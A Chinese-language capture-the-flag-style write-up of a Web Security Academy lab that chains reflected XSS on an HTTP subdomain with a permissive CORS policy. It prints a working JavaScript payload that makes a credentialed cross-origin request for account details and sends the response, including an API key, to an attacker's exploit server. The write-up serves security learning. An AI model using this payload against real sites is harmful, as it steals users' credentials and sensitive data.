# CORS Lab3 本題是 CORS 錯誤設定 + XSS 鏈接攻擊 的進階題,Lab 的漏洞點不只一個,而是靠「HTTP 子網域 + XSS + CORS 誤信任。 簡單來說: stock.YOUR-LAB-ID.web-security-academy.net 這個子網域用的是 HTTP(非 HTTPS),該子網域的某個 productId 參數有 Reflected XSS,主網站(HTTPS)竟然信任所有子網域的 Origin,不管是不是 HTTP → 大漏洞 目標:利用子網域的 XSS,從 HTTP 子網域發送跨站請求 → 主站信任他 → 回傳敏感資料 → 把資料丟回給你自己的 Exploit Server。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/SJ7CEVmrgl.png) 前面步驟都和前幾題一樣驗證動作,所以就直接跳過(重點是 payload)。 ``` <script> document.location="http://stock.0af6008404d119f8818d3913000b0012.web-security-academy.net/?productId=1<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0af6008404d119f8818d3913000b0012.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a5800f104fe19d281373878014e0046.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> ``` 1. 先自動轉址(document.location)到 stock 子網域的一個頁面 2. 該頁面的 productId 參數有 Reflected XSS 3. 利用 XSS 注入 payload → 從 HTTP 子網域發出跨站 XMLHttpRequest 請求 4. 請求主網站的 /accountDetails(內含 administrator API key) 5. withCredentials=true → 附上 cookie(身份) 6. 主站信任這個 HTTP 子網域的 Origin(💥漏洞),就把資料吐出來 7. reqListener():將資料送回你的 Exploit Server: ![image](https://hackmd.io/_uploads/H18vL4QHxg.png) ![image](https://hackmd.io/_uploads/SkoOLNmBex.png) ``` EudohIQnVjuIJpSJ0UjdPhusQ4ZJyLu0 ``` 拿去提交。 ![image](https://hackmd.io/_uploads/S1B5UEQBlg.png) ---